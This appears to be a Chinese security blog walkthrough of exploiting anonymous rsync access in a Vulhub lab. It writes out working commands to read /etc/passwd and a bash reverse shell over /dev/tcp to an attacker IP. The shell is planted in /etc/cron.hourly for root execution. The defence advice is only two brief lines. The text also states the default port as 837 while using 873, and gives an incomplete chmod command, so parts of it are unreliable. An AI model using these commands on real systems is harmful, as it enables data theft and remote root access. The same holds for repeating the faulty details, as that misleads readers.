漏洞简介
Rsync(Remote Sync)是一个用于文件和目录同步的开源工具,广泛用于Linux和Unix系统中,它通过比较源文件和目标文件的差异只传输变化的部分,实现高效的增量备份和文件同步,Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权就会触发隐患,Rsync的默认端口为837
环境搭建
这里我们使用Vulhub来构建环境
docker-compose up -d
漏洞检测
#命令格式
rsync rsync://{target_ip}/
#执行示例
rsync rsync://192.168.204.191:873/
rsync rsync://192.168.204.191:873/src
文件下载
任意文件下载
rsync rsync://192.168.204.191:873/src/etc/passwd ./
反弹Shell
通过使用rsync反弹shell
# 下载crontab配置文件
rsync rsync://192.168.204.191:873/src/etc/crontab ./
该环境crontab中的以下内容表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
17 * * * * root cd / && run-parts --report /etc/cron.hourly
随后我们写入bash并赋权:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.204.135/4444 0>&1
chmod 777
随后我们将文件上传至/etc/cron.hourly
rsync -av nc rsync://192.168.204.191:873/src/etc/cron.hourly
# 本地监听4444
nc -lnvp 4444
反弹成功:
防御手段
数据加密传输等
-
访问控制:控制接入源IP
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34234.html